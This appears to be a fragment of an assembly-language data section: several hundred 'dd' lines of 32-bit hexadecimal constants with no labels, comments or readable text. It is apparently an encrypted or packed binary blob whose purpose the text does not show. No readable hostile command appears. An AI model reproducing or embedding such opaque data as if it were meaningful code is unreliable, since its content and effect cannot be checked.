dd 9DA0C053h, 80393Ah, 0D674DCD1h, 675D33h, 98ACFE01h
dd 56E5B57Ch, 4FFA9207h, 0C85CB6DEh, 0D7712C5h, 510900D1h
dd 0B05BF35Dh, 8EB62718h, 0DACA4EBh, 0F2F1474Ah, 0E650F40Ch
dd 289A0300h, 0D86FA23Ah, 218B06CCh, 342F81AEh, 99793003h
dd 11A26EC5h, 106B5B6h, 0DE3C360Ch, 0B86A3874h, 70F9C16Fh
dd 778ED7FFh, 45209CE6h, 0F5E342D1h, 0C0FF9AD3h, 91534B9Bh
dd 0C1D984Ch, 3240F41Ch, 15AD03FBh, 58EBE277h, 64E33CB0h
dd 2A0069F6h, 9A70D9DCh, 0F3F42A0h, 1B3D65D6h, 0FE4C75C0h
dd 2400FC66h, 3E2ECC2Ah, 3BE644h, 6096F65h, 5FBFB8B0h
dd 9C0C5C76h, 3B3E68B9h, 9E900A2h, 8982403Ah, 97009D2Dh
dd 9E66EBCEh, 74D0306h, 96ECEF59h, 0AA1080FEh, 0B90051A7h
dd 0D3312B1Bh, 19DE67D0h, 50C2456Dh, 0C4628054h, 4D696CCAh
dd 0DDD402AAh, 8E6E0F79h, 0AA3D9C85h, 0FD4B81B4h, 241698C0h
dd 3D8831C9h, 0DE304602h, 87D8558Eh, 180FE500h, 0F15BB1B4h
dd 7BCF90B5h, 0A314157Ah, 82029B7Bh, 103FA034h, 888353C0h
dd 0C54EF900h, 8F92FAEFh, 7CE40AD9h, 80F12379h, 69FC0865h
dd 630366B4h, 0B755B3ADh, 0F21AF814h, 16CADCE8h, 81207h
dd 0C01E1814h, 7E0054BDh, 0DFB72189h, 608487E5h, 94F86668h
dd 8FF82891h, 509E3FC2h, 0CD72D5B8h, 1EFE9F00h, 41EB2A9Ch
dd 736A00A2h, 0DBD5AD17h, 3C0EDF7Dh, 86E30DCAh, 7629268h
dd 2FD183DAh, 975DD4DEh, 13AFC03Ch, 0D00048B8h, 0DB1781C3h
dd 87C6F6Ah, 769E0F84h, 9F378587h, 0D066576Bh, 636BDC01h
dd 0FE1016F9h, 6F0360h, 127C1478h, 91E2E533h, 4C02695Ch
dd 92F23DD9h, 1E00A39Eh, 0A213BE56h, 16F8019Ah, 0CF40A190h
dd 0A6F86A7h, 2C0D7199h, 26392A78h, 73C80CA6h, 6A0076B9h
dd 26888063h, 4872E38Eh, 6900405Dh, 0F25B5EACh, 0C102251Ch
dd 27857F57h, 3E466889h, 23CE28EDh, 0DF9800A9h, 0D83630FFh
dd 0A600A53Ah, 8715D01Fh, 969A5Dh, 0E3393C9Eh, 7F08B34Bh
dd 6AB1A974h, 124FDA81h, 0CF30EB70h, 8CEA0EE4h, 0B3403289h
dd 0FC5255BFh, 11F19200h, 6813AE9Dh, 0A6BA00F7h, 1DCB6A04h
dd 2A63C226h, 0C93CB156h
dd 968066A3h, 5AC45CAAh, 5CB588DCh, 0F087884Ch, 45489600h
dd 1637958Fh, 7BCB68Ch, 70867642h, 0ECC22B2Eh, 0E77A92F0h
dd 73A4E5Dh, 32A50F5Dh, 47792E80h, 0A7C001Dh, 422A6273h
dd 8558EF39h, 3B3500CCh, 554F3FDDh, 2DA98F7h, 88DFE248h
dd 0F0D5E9C9h, 8831B2EBh, 686EBD7h, 0D568B698h, 0BC080FADh
dd 8AC2EA5Bh, 0BA17BC9h, 0C48A348h, 38002C02h, 0D107A6Eh
dd 161C1FB7h, 0AB205CC6h, 50B0478Bh, 531E089h, 0E8837904h
dd 24E033D9h, 0D06D831h, 6125685Ch, 534C910Dh, 5181E3D0h
dd 0EBD91EC3h, 1C870641h, 3C89368Eh, 29BD5580h, 67916E9h
dd 2C8BEE1Fh, 2F1157EDh, 2A37EB54h, 0EC371483h, 0C08169DCh
dd 520A1506h, 473D8F0Bh, 0D0773908h, 22CAFF0Ah, 8B46285Fh
dd 7C89FE14h, 52C255E2h, 1419DAh, 9916CE9h, 935DFFFBh
dd 0B86F0000h, 5CB5EE0Ch, 82DE4355h, 70635880h, 0AFC65Ch
dd 54018DD0h, 40BCBBh, 4108398Ch, 35FF1944h, 0F1AD2803h
dd 0B256E769h, 9A4CFD30h, 87C28F73h, 5839BD23h, 0F3F4955Eh
dd 0E114707Ch, 18B66C08h, 5B739341h, 5A319870h, 0C90BEA95h
dd 0E94DD56Ah, 7B48F3C0h, 0BD6B970Fh, 0C1DEFB85h, 2CBCAA80h
dd 7301C171h, 9DDAA9A1h, 6D212960h, 0BB96006Fh, 7C3BC397h
dd 6ABC615Ah, 0A194D814h, 16F1360Bh, 42E3534Dh, 0DF5016DAh
dd 2E97A5FEh, 0AAB1A220h, 0EF9A0078h, 7131B470h, 96E0D42Ch
dd 0A527F000h, 6051909Fh, 0ED9E09B8h, 9F64196Eh, 6670F4EDh
dd 0A85C7300h, 1180DC81h, 0BF320190h, 0EB9372Ah, 4BA77C34h
dd 2000EEF3h, 95F1B61Fh, 0E10B9AC2h, 550F4AFBh, 0BD7CA109h
dd 502A01DEh, 0BB776DEDh, 55357E6Bh, 819E9EFAh, 0ACB345C5h
dd 0A37CF72Eh, 0D6CAE20Eh, 0BD016001h, 7E972F9Dh, 1981E25Ah
dd 95CE55h, 51F090BFh, 0FD232689h, 77D5150Eh, 0A5E2F833h
dd 625D821Bh, 0DCD3746Fh, 0CD2D4213h, 2A0011FCh, 0B1BB6E90h
dd 445AA30Bh, 8922C68Ah, 0B57B8DE8h, 0E48667BDh, 16A3671Ah
dd 9810807Eh, 0F9010EFh, 51568B84h, 505B803Dh, 89217BBBh
dd 4EA3145Bh, 6C5A7700h, 552D1A5Fh, 0F371EE09h, 0D3ECFFA7h
dd 5E230D20h, 0C882DA5Fh, 8B41C018h, 0A206581Eh, 13ADB509h
dd 47E92D4Ch, 4070DCD4h, 0BD8980F1h, 0F30E2525h, 7A99D128h
dd 0CD7E67B1h, 0F2212134h, 3AB5D2F0h, 62164D07h, 0D700F29Fh
dd 5F897899h, 0BBA4E4B5h, 5F72280Ah, 0A23ED415h, 0CD40B707h
dd 0D31E8ACFh, 0BB015061h, 2C7E36FAh, 0D6FAE159h, 1D09DE06h
dd 5DC53D34h, 109F466Ch, 1675BEB0h, 0A63880EDh, 0E4CD4FEAh
dd 6AF9A68Fh, 0F2F4BB40h, 0B5EC3457h, 0DE2C8127h, 0A73FF424h
dd 0BB5D81B3h, 398A0692h, 21E0626Ah, 0F860582Ah, 0E2282F08h
dd 0B832052Bh, 0B25E2DADh, 3B80001Bh, 0A99C518Dh, 0C6D7024Fh
dd 0B05F3053h, 0BDB0FAD7h, 14A8142h, 0E9C4EA7Eh, 2B3B32FBh
dd 8140EAD4h, 1E8F1ECBh, 0E2BA3B82h, 41C250BFh, 0D2443F1Ah
dd 0FC341161h, 0C0B65FC3h, 0C82BDF0Bh, 8C0043F9h, 1A27FFBDh
dd 863C00E5h, 5DCF7112h, 2909112Bh, 1D18B59h, 98E9FA5Dh
dd 0A7AEDC2Eh, 40BA3600h, 65D6064h, 0BD031363h, 851BA459h
dd 2E9C044Bh, 3A650063h, 0D6B23BAFh, 5616055Ah, 0DAA1DA44h
dd 0C661A3Fh, 10BB908Ah, 2C596515h, 1C7F32EBh, 0AF52D413h
dd 3E88D589h, 5B060CADh, 52539E9h, 0FF9002BBh, 0C1CAA843h
dd 2BF5B531h, 9CA61F1Ch, 40C6B29Fh, 8310B109h, 748B95B2h
dd 6F2DDE50h, 20C84CA8h, 719D691Fh, 0E3800553h, 0C9AAA8A7h
dd 8D0FB860h, 1B1D6CC5h, 0BDA6D638h, 902C4D0Eh, 481420C7h
dd 0E261C142h, 10082BB9h, 8E9180D2h, 4AE4F892h, 3FA4D251h
dd 0EBE68813h, 0F89925E0h, 0DE0B552Fh, 0DBF44CF2h, 422F9B24h
dd 1222D508h, 0E21C53FCh, 62F26281h, 0E80885BAh, 7CBF5200h
dd 0B153A0Bh, 1097B82Ch, 4740F0FCh, 1FC1642h, 0EEEA863h
dd 0D2918589h, 91A85F25h, 0E1B501F0h, 0F157D1AAh, 0A6D0A7DBh
dd 0D0B95395h, 3601C9B9h, 1D5DE1A4h, 246A5A08h, 0C2E5DBA1h
dd 7D9B76FEh, 0AD12300Eh, 0CF81C0BFh, 5A28CE86h, 6B8B8D0Fh
dd 771BAE09h, 1DE46717h, 9009F560h, 0A22EDA00h, 972BEBD2h
dd 6DBF1666h, 8D8DA2E9h, 0B96F3A7Ch, 2F01B83Ch, 59BFB8F1h
dd 81F0FD0Fh, 0FA8BAD4Ch, 0A9BEFD2Eh, 19DF606Fh, 0DC090969h
dd 2C9D288h, 2D7D3Fh, 0E1FFF88Ah, 174F04BFh, 0E34439EBh
dd 0BCEB714Dh, 8AE65A7Bh, 54AE35D1h, 0C0AADBEEh, 89344936h
dd 0EB14B503h, 0D94D4B69h, 3CA5006Dh, 32823AC6h, 31ABC94Ch
dd 605F3309h, 0E092A62Ah, 5AD3F7EEh, 53CEA020h, 5B4BF1B2h
dd 0AF7ABFh, 1188453h, 8A987362h, 0E2402576h, 0FFAC69h
dd 4A0BEC1Ch, 44BAF2BFh, 50A7CE07h, 746558E0h, 8999BC1h
dd 1AF9D87Ah, 0DC43D68Ah, 1584AE00h, 43875BD6h, 0FC515B39h
dd 9CD1396h, 661F48F7h, 0AD2B53BBh, 8C16AC4Bh, 28602912h
dd 0FD73D405h, 90DBB407h, 0D3076AFh, 23D7E7Dh, 0AC35D657h
dd 1A61862Bh, 697361h, 53800E8Dh, 8FF74Ah, 4F56DE6Ah, 0DFBB5061h
dd 28DB190Bh, 2262990h, 31EB547h, 0A9814F68h, 0E873C1Bh
dd 0F2B603B0h, 93DC2BBBh, 17B2DAB6h, 25FA530h, 8529821Dh
dd 0D5D403C5h, 745581E9h, 0FD4435E9h, 0ADF142B6h, 0C1616A38h
dd 526AD9B7h, 0E84AEDB2h, 0BA9E007Fh, 91A26718h, 5750518Ch
dd 4827E1C8h, 0ED74968h, 0B052E72Bh, 515A4F76h, 0D4FAB509h
dd 8FDFE9D1h, 774157F1h, 0BD015763h, 694BAB61h, 0C125F4Ch
dd 8646059Bh, 4A81A8BAh, 8E83DEDBh, 8A93A5DDh, 82F0EA4Eh
dd 987B9D17h, 0B72D3828h, 829A46C2h, 3E207DF4h, 0A0B46368h
dd 9C4E24E7h, 4FBFB73Dh, 0D4303C0Bh, 9D31E040h, 67C523C1h
dd 7AA148B3h, 2D4D434Ah, 48E086ACh, 3610FE01h, 0D9BF0F6Dh
dd 0B86AA92Bh, 655A2DB6h, 0BB812145h, 5E427240h, 54C5283Eh
dd 60284FBDh, 0DD60E45Eh, 0A0F65707h, 8170C426h, 25442BC8h
dd 7DD11787h, 82BBB080h, 0B90C69h, 0E61DDB45h, 47FA1FB4h
dd 5E2E6379h, 0CBBEED61h, 3889C056h, 0A36E0DF5h, 2B5DBEE5h
dd 951F19A8h, 0D680025Ah, 312E7C34h, 3252585h, 0E1D03F73h
dd 0F88B273Eh, 0AA1AEDE5h, 94E5F74Bh, 0CFA79C9Fh, 57F84018h
dd 5B3C91ABh, 0FA2B0998h, 2D2482FBh, 0B4F95D0Eh, 75177942h
dd 0CB813F38h, 8A279D72h, 2D3DE61Eh, 0EDFBA7B3h, 0C1191559h
dd 60E3F539h, 0B4E5967h, 0D150A382h, 7EC00DEh, 5CA77A6Ch
dd 829B1C00h, 9C947189h, 0ABB91DBFh, 8466F4ECh, 24C4EF20h
dd 0C848DAAEh, 976BC116h, 0DC303FEDh, 1358D781h, 16014B26h
dd 6653BF76h, 814F2AEAh, 8536F8A4h, 0A8E8A26Eh, 0F60800D9h
dd 9D23DE43h, 0B99F2191h, 5FF233DFh, 539D7678h, 18145916h
dd 94D2B8B2h, 0DBC2A7ECh, 2DC00D4h, 0C75106EBh, 57D7A0Eh
dd 60BE1F0Fh, 0F33E036Fh, 0B6E9EA01h, 90EEF2CBh, 4FC3D170h
dd 4E6DAD2Dh, 0E92774BBh, 14C9A87Fh, 95395BE0h, 4B205110h
dd 92778B8h, 8103E2EEh, 0A0167ED3h, 0F6E3F18h, 0BB040522h
dd 1971C545h, 0C96AB29Dh, 0C6F66B4Ch, 0DEF871B4h, 0FBB2C82Eh
dd 3ABA9659h, 5D53A7D8h, 93ABD9A0h, 6F00CEFCh, 2B6ECD77h
dd 2D5DF2C8h, 3F641F10h, 96CF6400h, 0AC9CBEB5h, 0EC2A5A20h
dd 0E7A30241h, 55D25F34h, 0B35BDE01h, 0EED1AD4Eh, 0A2A51F80h
dd 0FDC55257h, 8FFDD2F8h, 480495A8h, 5030FCFDh, 68A78DFCh
dd 0DE17E1ACh
dd 850F67A8h, 89E950E5h, 229477h, 879C1B7h, 0CAF4DA16h
dd 4D59009h, 50607578h, 2474BB96h, 0DD393F35h, 1C997BFBh
dd 0B8809179h, 0AD82975Ah, 9589387Fh, 347E02AFh, 778D01E2h
dd 0C597B550h, 6DE950A3h, 0C5B6FB0Eh, 76052CB4h, 2F314155h
dd 0BB0FC3F3h, 49C939A3h, 0D9A595F9h, 8388005Eh, 0C74355E0h
dd 31C807Eh, 0E7E7759Dh, 3E1D11A8h, 19D5900Bh, 74F780A0h
dd 1AE6E1B5h, 4090F804h, 0DA4AB7D6h, 0ABA4F6FDh, 0F301086Ah
dd 65676130h, 63F32A29h, 93D4A62Dh, 0DCD7FC25h, 8B072E09h
dd 0A4C159C1h, 77BF033Dh, 0A1E504Fh, 6DADF0E6h, 57F7C010h
dd 401A2530h, 404426D9h, 6841071Dh, 60CD0E16h, 15641369h
dd 4A58360Ch, 74392CEh, 520616FFh, 53957529h, 9253BFBBh
dd 0D200486Fh, 0BBDF9FE8h, 7F2FD34Fh, 1CEF5116h, 0B6350049h
dd 94B748CFh, 184A0A01h, 97BC2317h, 0D18D8684h, 505F442Ah
dd 769CC9FAh, 0E780E0CCh, 94BD12CBh, 3D13BA38h, 8700316Fh
dd 796929C1h, 3913BB20h, 0BEACE17Fh, 9289592Dh, 0E106ED55h
dd 2BF5424Bh, 0DBB24F34h, 0C9B02909h, 51E916D4h, 5DDA759h
dd 39BD158h, 97EBECD6h, 0A2D24EBCh, 0B15C883Ah, 120535F4h
dd 7C68F002h, 61DA2CC7h, 0DAF89524h, 0BA16E5Ah, 7340991Dh
dd 181459D8h, 0BD8912D7h, 8803A4B9h, 480D9C95h, 9B5B834Dh
dd 7EEBC34Fh, 77419783h, 2B70E7F9h, 8376233h, 0A5601268h
dd 0E4830A25h, 717EC9AFh, 1956EA03h, 12B5555Ah, 0BFEBA600h
dd 5C86416Dh, 56376F8Dh, 0EE24C482h, 848EDDB4h, 99DF8B20h
dd 94FB8074h, 55AF742Eh, 0D2296801h, 0AC2D3B60h, 958A1220h
dd 945DE462h, 0E05687FFh, 4EB5A675h, 51FFD709h, 0B25298BEh
dd 83F7029Eh, 0D59DB01h, 81C02456h, 139F71EFh, 0AFF8225Dh
dd 1989049Ah, 112A3430h, 9BAF1A00h, 6AA0B3D7h, 0CDCBA0FFh
dd 12ABB130h, 86FEAC81h, 0F80D34FDh, 76E5B7E1h, 4662FA91h
dd 0B00426C5h, 1E299A91h, 3070E601h, 5104C5FBh, 47B371E4h
dd 0DA221CADh, 0D1C78102h, 244F8A12h, 0D0E4BB29h, 6BDB2D80h
dd 0F8A019FFh, 0BF73C16Fh, 0EB81E0FFh, 62E59525h, 60F9F61Eh
dd 0A06FA101h, 38331938h, 54CB06FFh, 33482D47h, 2B4CE2F7h
dd 0CB97310h, 0F0806028h, 61F98020h, 84D18B28h, 0FD144132h
dd 9509217Ch, 87346839h, 5F144C44h, 8580AACh, 791D2111h
dd 0D5BF76C2h, 6C94DF6Dh, 10299D19h, 0B4174D5Fh, 0D8F6A8DEh
dd 0B60D9526h, 6D0789B9h, 3211FA51h, 6185310Fh, 0A4C4F8D2h
dd 51758E30h, 0BAC50354h, 5E53D47Dh, 0EDBD1AE8h, 0E33C3824h
dd 337B6520h, 7E17A125h, 79275073h, 911BD9Dh, 66FF89A5h
dd 7209481Eh, 369A2C20h, 8161AC88h, 2E39DF04h, 0E6FE376Bh
dd 70E5F04Eh, 5C98952Ah, 8309CF80h, 900FF1B9h, 0B7152DF7h
dd 379A3E4h, 0BDD0CB9Fh, 10E0DAB6h, 749255F7h, 3445EE09h
dd 2C16510Bh, 0ED25DEB5h, 0ED1F5FFAh, 0D3DCB0A5h, 0A2224B47h
dd 6A9E0020h, 2303F887h, 76DA00C8h, 0DFB8A45Fh, 0BD267484h
dd 912B357h, 937DDFEFh, 66978071h, 97B5A160h, 880D48C8h
dd 0D8927397h, 53259BFBh, 7CAB5537h, 0F47AB17Ch, 0B303126Dh
dd 5BF6B544h, 0DD975BA0h, 0E0947424h, 24101108h, 1F59080Eh
dd 6B495313h, 474C595Fh, 0EE170E6Dh, 0F702586Fh, 1A0DE5B5h
dd 0FF4B8C54h, 0CCA3FEA0h, 0B8E25F56h, 0F5DC7AE1h, 7BEF092Bh
dd 0D85E809Ah, 64494D25h, 602F6214h, 801B794Eh, 0B725E1FFh
dd 0E3D6523h, 0F613040Ah, 0FF38F0A1h, 3E949508h, 0F620FA45h
dd 59799D65h, 2FB186C3h, 310F827h, 96975B1Ch, 12DE9520h
dd 1D1700AFh, 0B6605B27h, 6C00DC40h, 43AA2A48h, 9AB4772h
dd 3FB72721h, 4FDDCF77h, 0FB7FB843h, 21A2EA9Dh, 0FA32844Ah
dd 0D28712DBh, 772EC1BFh, 34482B21h, 94AA62Fh, 0CF57CFA3h
dd 0A32E0A9h, 4B0055B8h, 0B4972C7Ah, 8CD98B5Eh, 0E74DE850h
dd 50E054BFh, 580093C7h, 263EEC81h, 27891E1Ah, 2F8961BDh
dd 29255D74h, 719153B8h, 9276CC5Dh, 0F458B000h, 8BC88370h
dd 0B74EC2DAh, 0FD8268DFh, 0F2F8AE2Ah, 806C816Fh, 6051F4ABh
dd 158D2E01h, 0B8668134h, 7D613047h, 37DAD7D0h, 0D4DEF880h
dd 0E730183Ah, 89FE7CD3h, 600D5D9Dh, 0ACADF95Eh, 569319h
dd 5AD24B8Dh, 0DCB0DA39h, 0B02F3120h, 7C954217h, 6CFD014Eh
dd 8D5067E8h, 184E11D9h, 0BEB4C4FCh, 3680DADAh, 7A2AB869h
dd 0E652F50Ah, 91258D33h, 96C4CA40h, 25B801FAh, 4493D358h
dd 6BF76BC1h, 2E7CD669h, 71A46DEh, 0DA8634D0h, 0DF32EEE2h
dd 4D755FBAh, 89374098h, 9B09619Ch, 40BBAB91h, 8307A519h
dd 14F729F7h, 2E35F01Eh, 9FB7391h, 5ED30446h, 9320270h
dd 50AD6849h, 0A1006BF1h, 839791EFh, 3CBF0561h, 0EB70884Eh
dd 0E8155CCDh, 0DDF0AAB6h, 5D209D29h, 0FC680206h, 51100AB1h
dd 0F855A8CAh, 0B2031F34h, 98F52915h, 77BD5A7Fh, 0F9448B02h
dd 567BA8E6h, 0DB80609Fh, 0BF0450CFh, 1FB16777h, 5795DD5Ch
dd 6E29EB2Fh, 0DF3F246Dh, 0F6C29980h, 0CCDD5F65h, 2B228602h
dd 0FD6128ECh, 57017937h, 0A54B4EE1h, 0B27DF73Bh, 96E03018h
dd 0F44E907Eh, 0FBA47CFDh, 76822D9Bh, 0BF803C88h, 189092EBh
dd 0EAE93427h, 3013604Ah, 8BF39584h, 8B14115Fh, 90E4F5E6h
dd 0F38B6012h, 0A5B9C609h, 6EFB611Eh, 9D1A031Eh, 897F1C60h
dd 0F23AF0B8h, 0AB5F12h, 767AB5D2h, 27F0303Fh, 65AEC825h
dd 625111A2h, 0DF0249A4h, 3E2DBC9Ch, 246C03h, 0E05C2BF2h
dd 0A6DBD8F4h, 6631031Ch, 0D10C2E4h, 358B5F2Fh, 75E24E76h
dd 0EB965610h, 99C48E7Eh, 9E4A0FACh, 0C625C145h, 90F8BB31h
dd 0E7664F57h, 181913F3h, 2C26D9EEh, 0EF81C041h, 5AD7E12Ah
dd 53230111h, 2E5B6160h, 284818ADh, 0E096E64Bh, 9B8C09Ch
dd 0BAA35F4Bh, 0E42D25DEh, 80D4008Ah, 0C88E6D9h, 390EE78Eh
dd 617A322Dh, 0AC71B135h, 303AAA59h, 0F16D6F87h, 42836203h
dd 17328CFAh, 0BF61CA5Ch, 3E059665h, 0B46750B6h, 1EFDBD61h
dd 60699D2Fh, 244B0917h, 899269E2h, 62032AA5h, 4A459D31h
dd 42D8543h, 0AC8680F0h, 0D781C030h, 4A759D6Dh, 0F90BC446h
dd 25BDECB7h, 0EFF96A5Ch, 14236F80h, 7F6E4h, 4A5C3506h
dd 178970DAh, 4DB5CCE9h, 1F9C2F4Ah, 31ACC451h, 0F95C9219h
dd 0F5A4C4D9h, 9611A62Dh, 245A142Ah, 0B2C0BD50h, 0CA0A14F9h
dd 4262D605h, 0A90B96E3h, 64BDDF11h, 68E0592Ch, 7C439DCh
dd 236A52B1h, 42BF4061h, 7F2F79E2h, 0D6D57C5Bh, 4CC19794h
dd 5B7C6D51h, 67785D82h, 8BA0E5F7h, 0F642C7AAh, 5F4A5058h
dd 8A7C38CAh, 2DC8C15Dh, 0DF390905h, 88F9D28h, 6A52093Dh
dd 696D77D8h, 2D621B64h, 699C46D5h, 47165823h, 0DB116D2Dh
dd 2B6DAD96h, 881676C0h, 9C2F395Ch, 0E1042574h, 7D27FD45h
dd 0DE02DD0Ah, 4201EB71h, 637ECBD2h, 0B62B4EB2h, 3016B2DDh
dd 0DC7E31B9h, 3773DF05h, 84EB56CAh, 0A9F01669h, 0CCC62DF9h
dd 17459DC8h, 0AF484725h, 0A005DB5h, 29F53BC8h, 0BF540085h
dd 42EE2B67h, 8995A8E9h, 0C5576D49h, 4831E82Ch, 7E302D67h
dd 17FAEA5Ch, 8E16BED8h, 0D3089CBEh, 8E04FCE2h, 505B4917h
dd 6E5EA5BFh, 4ACD8D88h, 0C8888F1Ch, 0EFDCC414h, 9509FA31h
dd 494AA83Eh, 21AEC071h, 0A1710Ch, 0E885F53Fh, 89A0BF08h
dd 0D60AE730h, 89170DC5h, 0BA507FDBh, 0E192012Dh, 51C91A03h
dd 0FA66883Fh, 13EEBE88h
dd 0FF387FFDh, 0C63E73C9h, 4DBFEF68h, 1F97C53Ah, 0A8189193h
dd 0F1008C1Bh, 0D986D5DAh, 5BE54CFCh, 0F004F66Ah, 5B2C5AB7h
dd 0ADF70977h, 9874762Bh, 71D46D6h, 9CEFB695h, 0F530E222h
dd 0C68DC541h, 0D854FBDFh, 0E420B90Dh, 0D126448Bh, 0EBB795h
dd 9133D8DCh, 66096293h, 59150FBFh, 5361447Dh, 49917F17h
dd 0DC5B026Ah, 0DE4CC7h, 0AB2746B0h, 3FC2415Eh, 0BF900034h
dd 19FC1E36h, 8356503Bh, 142591Fh, 498DF55Fh, 997EC06Eh
dd 10166F11h, 22EA3291h, 0AFFEBD0Fh, 558D09C1h, 0E916EE68h
dd 0E28BECB4h, 8954ACFh, 0D72DE3ACh, 5A805337h, 783F6E59h
dd 0BFD8248Bh, 432709BCh, 31AE7259h, 1DB52960h, 288CB311h
dd 0FA8A25AFh, 16C4376Dh, 54B0DE60h, 0A287DA99h, 0A630FAE0h
dd 4A07D1A4h, 0A933C47Bh, 10AF86Ah, 0CEDF62F5h, 7B1AE488h
dd 72D57C2h, 7CD5289h, 847453F5h, 0F1A29BDh, 8B60A06Ah
dd 0BC200995h, 33D88CBh, 3CB9FC27h, 0F604262Eh, 9E09CB09h
dd 1BC2579Ch, 72CB5D54h, 0E8DB9D8Ch, 44C95C2Dh, 8830ABB0h
dd 0C327AEh, 76D0E4CEh, 7E233955h, 0F0DD8B2Dh, 0E65F13E9h
dd 2ADCA070h, 0F71E480h, 0A9C38056h, 51B509E1h, 9A327F1Eh
dd 0FCB325D9h, 0F4E78796h, 1813C312h, 0E51667BBh, 64095974h
dd 786877F8h, 2BF9FFD3h, 2DB26313h, 24427D01h, 802B1E02h
dd 67EBCF54h, 68B5E28h, 0E992B7D1h, 9C9D2D9Bh, 1D643E01h
dd 2E4E5A00h, 83A5230Eh, 56C3EF02h, 0E0E09D9Ah, 2F4C503Eh
dd 95D94755h, 7D1CBE04h, 0AF2965FFh, 0A9BD9990h, 93F9B514h
dd 11719D84h, 231BC864h, 7EFDA1FCh, 0B4D112ECh, 0D66094Fh
dd 77F7BB5Dh, 811F4062h, 80FDF704h, 8DAC1952h, 66822288h
dd 0FE0341BBh, 0B29DE689h, 6F83FABAh, 4B57012h, 18857DB2h
dd 0AB7ABF89h, 0D249EC00h, 0AACDEC0h, 172D66C4h, 0EE007689h
dd 95E177CBh, 9D0405F3h, 0E9442F1Dh, 0A028A70Eh, 779F1D2h
dd 0D58DF758h, 1CA12A1Fh, 515B2015h, 0DF3DA9FCh, 461D993h
dd 0BBA99D06h, 2061B2B2h, 0DADC8AFEh, 2F377Dh, 267F0D88h
dd 769515C9h, 0D2F81098h, 95732CF0h, 739536B6h, 9C2550EAh
dd 0AE6E3D5Bh, 742C1100h, 26ABD6E5h, 0D4292D2Ah, 3E929F12h
dd 2B2C5AB2h, 281A10A9h, 0D99DDB31h, 9E74847h, 0B75D0289h
dd 841591F9h, 5FACAEDCh, 0C9DA3FBDh, 806B0F81h, 540A8D6h
dd 0B92F2130h, 0BD1345BDh, 0A3D05C53h, 81194AB5h, 2BE2859Dh
dd 88587E28h, 3D279D0Bh, 5833DD1Bh, 7B8F2DDFh, 0D1A809B2h
dd 0CCA8C828h, 194E8576h, 1EB97E91h, 1055E112h, 26AAFEEh
dd 0F035C2FEh, 8785208Ch, 2A82A569h, 89CB6928h, 0A0137E23h
dd 0D36938BBh, 6B9E045Eh, 24D7A80h, 1609666Dh, 0FF33D1B8h
dd 0FE8A7E98h, 5A779495h, 0EDCDF964h, 0D3A7FC6Bh, 0A12352EAh
dd 536E3A58h, 6AA77801h, 24998E26h, 9196D30Dh, 70BA0A12h
dd 13396505h, 621B3425h, 0DC445E68h, 0C6BDA778h, 81E0A0BAh
dd 0BCD9BD11h, 60163091h, 591109F9h, 597D6862h, 0B2AFBFDFh
dd 0B5349A58h, 58A82129h, 5A5BECD6h, 0FB6598E1h, 2286E2Fh
dd 0C44A2EF2h, 0ABF2F58Bh, 25202990h, 0EEB3131Fh, 439BFE6Ah
dd 903FCE87h, 0DA8A0DF2h, 0FD59683Dh, 17129C4Eh, 16A661A0h
dd 0F963DEB3h, 0CC76B8A1h, 52BB21AEh, 40F95F5Ah, 840969ADh
dd 0C8C012E6h, 4A3E5DF2h, 0EF71C445h, 0EAA45BF7h, 66649C80h
dd 0F7E01BFh, 7E9813Ah, 4D5FC202h, 9025E0C2h, 0BB001366h
dd 0E3CEC8C7h, 9DA8B60h, 61E6C980h, 92AF7159h, 0ED9DFA3h
dd 62BB5F12h, 752B128Bh, 0C7809F45h, 0D9953ECDh, 0EDC54E21h
dd 8C15ACF9h, 66A32025h, 38BB0253h, 891584D8h, 39E082DDh
dd 0B96D7731h, 94601BE4h, 6405116Ch, 31B7BB23h, 2F8C8CD0h
dd 558995F5h, 0A7925A37h, 315D88BAh, 6AD48D5Ah, 0ABDAC5AAh
dd 0E84AB2F2h, 3104DF95h, 92AB38B3h, 51F5FAC6h, 67C00F5Ch
dd 0B0D3CA2h, 2696C56h, 57295DF8h, 0B12C9C67h, 0CD1D5013h
dd 0CA83AD74h, 8E27620Ah, 66FF6160h, 308B5AD1h, 719F7AC9h
dd 4C2A5202h, 4433BADBh, 405F94EEh, 0D8AE0395h, 34B44500h
dd 8ED4024Ah, 609A6BDFh, 56A9E190h, 4A67F016h, 7A8926BAh
dd 38A3C5B0h, 4F5F7E39h, 7502BB6Eh, 26433ED3h, 0ACD44DA0h
dd 0FEFE17B8h, 3148F900h, 2F7172BDh, 250505BFh, 25F3AD6h
dd 7569D7FCh, 653CEF7h, 0FD8A90FAh, 7D3CA450h, 0E8B65ADBh
dd 2DE421E0h, 3C1C6F0Bh, 13DB5CEFh, 0BC8CFB0Ch, 0B990956h
dd 57B39301h, 614E8878h, 2809D76Eh, 7FF05165h, 5D0D9527h
dd 3595E9B4h, 607F0F42h, 72F8D2A0h, 8B251FEFh, 66145FD1h
dd 6FBD6270h, 487D4B07h, 5FEC3689h, 1060E785h, 0C9482BEDh
dd 0E9E5B931h, 0EE84C343h, 0AF006C6Fh, 0CA892D06h, 4917DF13h
dd 3E579A93h, 23BEB4F6h, 48502F18h, 81082F03h, 0AA6C93EFh
dd 8726B527h, 12450B3Dh, 0C65F29DFh, 8AD84B1Eh, 9FD62217h
dd 0CB00C737h, 0EB857680h, 9D4C1214h, 0A5412CB2h, 9DC455DCh
dd 0F6BA1F09h, 4ABDE467h, 0D52F4B80h, 6011A339h, 0D0070BE9h
dd 26A02E48h, 5C153688h, 0F10CDEBh, 0A0E4724Eh, 0D45D0E40h
dd 25CA1273h, 165DE361h, 6BBEF88Bh, 631924A7h, 7D7823C0h
dd 253EA1Ah, 0E1F6F781h, 4F5C4456h, 3C7F169h, 1B747AC3h
dd 6E639A90h, 7FCD504Ah, 69D6FCh, 0F7E7EC18h, 557B222h
dd 0A5EE4112h, 6916BDA2h, 0BC53E923h, 41018C1Ah, 0AA1B6219h
dd 0BE82F6CAh, 49179021h, 91A53F5h, 165F2315h, 5ADD9B4Bh
dd 0A757F155h, 250979h, 67FCFAD7h, 14C500D6h, 96C448B6h
dd 0B2FC31CCh, 0D8ACFFFAh, 9DBD8913h, 0DAAEF9C4h, 0C01DC85Eh
dd 55E58D87h, 0C6D6F603h, 104F12ACh, 131585FAh, 48B556F8h
dd 0EDA6172Bh, 0FFE8C0B9h, 2DD59978h, 0AD7C4743h, 80D4B3D6h
dd 0BF52092Eh, 0C2127987h, 6BA25B30h, 0A2ADF700h, 26E484CFh
